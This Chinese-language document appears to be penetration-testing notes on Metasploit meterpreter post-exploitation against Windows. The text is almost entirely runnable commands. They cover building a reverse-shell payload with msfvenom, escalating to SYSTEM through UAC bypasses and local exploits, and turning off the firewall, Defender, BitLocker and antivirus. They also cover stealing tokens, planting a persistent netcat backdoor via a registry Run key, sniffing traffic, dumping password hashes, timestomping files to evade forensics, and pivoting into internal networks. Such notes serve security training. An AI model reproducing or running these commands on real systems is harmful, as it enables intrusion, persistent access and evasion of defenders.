● 已经获得目标系统控制权后扩大战果
○ 提权
○ 信息收集
○ 渗透内网
○ 永久后门
● 基于已有session扩大战果
`msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o` 1.exe
获取system账号权限
load priv
getsystem
#一般情况下就权限拒绝,下面就要用UAC绕过了
绕过UAC限制
use exploit/windows/local/ask
set session
set filename
use exploit/windows/local/bypassuac
use explot/windows/local/bypassuac_injuection
set session
set payload
利用漏洞直接提权为system
use exploit/windows/local/ms13_053_schlamperei
use exploit/windows/local/ms13_081_track_popup_menu
use exploit/windows/local/ms13_097_ie_registry_symlink
use exploit/windows/local/ppr_flatten_rec
图形化payload
set payload windows/vncinject/reverse_tcp
set viewonly no #可操作
Psexec模块之Pass
use exploit/windows/smb/psexec
set smbpass hash
需要提前关闭UAC
cmd.exe /k %windir%\Sysem32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWOED /d 1 /f
● 关闭windows防火墙
#需要管理员或system权限
netsh advfirewall set allprofiles state off
● 关闭Windefend
net stop windefend
● Bitlocker磁盘加密
manage-bde -off C: #关闭磁盘加密
manage-bde -states C:
● 关闭DEP
bcdedit.exe /set{current} nx AlwaysOff
● 杀死防病毒软件
run killav
run post/windows/manage/killav
● 开启远程桌面服务
run post/windows/manage/enable_rdp
run getgui -e
run getgui -u yuanfh -p pass
run multi_console_command -rc clean_up_20160824.1855.rc
● 查看远程桌面
screenshot #截图
use espia
screengrab
● Tokens
○ 用户每次登录,账号绑定临时的Token
○ 访问资源时提交Token进行身份验证,类似于WEB Cookie
○ Delegate Token:交互登陆会话
○ Impersonate Token:非交互登录会话
○ Delegate Token账号注销后变为Impersonate Token,权限依然有效
● Incognito
○ 独立功能的软件,被MSF集成在meterpreter中
○ 无需密码破解或获取密码HASH,窃取Token将自己伪装成其他用户
○ 尤其适用于域环境下提权、渗透多操作系统
list_tokens -u
impersonate_token lab\\administrator
● 运行以上命令需要getsystem
○ 本地普通权限用户需先本地提权
use exploit/windows/local/ms10_015_kitrap0d
execute -f cmd.exe -i -t # -t:使用当前假冒的token执行程序
shell
● 注册表保存着windows几乎全部配置参数
○ 如果修改不当,可直接造成系统崩溃
○ 修改前完整备份注册表
○ 某些注册表的修改是不可逆的
● 常见用法
○ 修改、增加启动项
○ 窃取存储于注册表中的机密信息
○ 绕过文件型的病毒查杀
用注册表添加NC后门服务(meterpreter)
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传NC
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #新建主键
#建立子键,给予赋值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
#查询是否成功
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
● 打开防火墙端口(meterpreter)
execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 444 "test" ENABLE ALL
● 然后重启目标客户端
shutdown -r -t 0
● 重启之后会自动运行nc
● 然后直接连接即可
抓包
load sniffer #导入抓包模块
sniffer_interfaces
sniffer_start 2
sniffe_dump 2 1.cap / sniffer_dump 2 1.cap
● 在内存中缓存区块循环存储抓包(50000包),不写硬盘
● 智能过滤meterpreter流量,传输全程使用SSL/TLS加密
解码
use auxiliary/sniffer/psnuffle
set PCAPFILE 1.cap
搜索文件
search -f *.ini
search -d c:\\document\ and\ settings\\administrator\\desktop\\ -f *.docx
John the Ripper破解弱口令
use post/windows/gather/hashdump #system权限的meterpreter
run #结果保存在/tmp目录下
● 文件系统访问会留下痕迹,电子取证重点关注
● 渗透测试和攻击者往往希望销毁文件系统访问痕迹
● 最好的避免被电子取证发现的方法:不要碰文件系统
○ Meterpreter的先天优势所在(完全基于内存)
● MAC时间(Modified / Accessed / Changed)
ls -l --time=atime/ctime 1.txt
stat 1.txt
touch -d "2 days ago" 1.txt #修改时间
touch -t 1501010101 1.txt #年月日时分
MACE:MFT entry
● MFT:NTFS文件系统的主文件分配表 Master File Table
● 通常1024字节或2个硬盘扇区,其中存放多项entry信息
● 包含文件大量信息(大小 名称 目录位置 磁盘位置 创建日期)
● 更多信息可研究,文件系统取证分析技术
Timestomp
timestomp -v 1.txt
timestomp -f c:\\autoexec.bat 1.txt
-b -r #擦除MACE时间信息,目前此参数功能失效
-m / -a / -c / -e / -z
timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt
Pivoting跳板 / 枢纽 /支点
● 利用已经控制的一台计算机作为入侵内网的跳板
● 在其他内网计算机看来访问全部来自于跳板机
run autoroute -s 1.1.1.0/24 #不能访问外网的被攻击目标内网网段
自动路由 现实场景
● 利用win攻击内网机器(对比XP有无外网访问权限的情况)
● 扫描内网
use auxiliary/scanner/postscan/tcp
Pivoting端口转发Portfwd
● 利用已经被控计算机,在kali与攻击目标之间实现端口转发
portfwd add -L LIP -l LPORT -r RIP -p RPORT
portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
portfwd list / delete / flush
use exploit/windows/smb/ms08_067_netapi
set RHOST 127.0.0.1
set LHOST 2.1.1.10
use exploit/multi/handler
set exitonsession false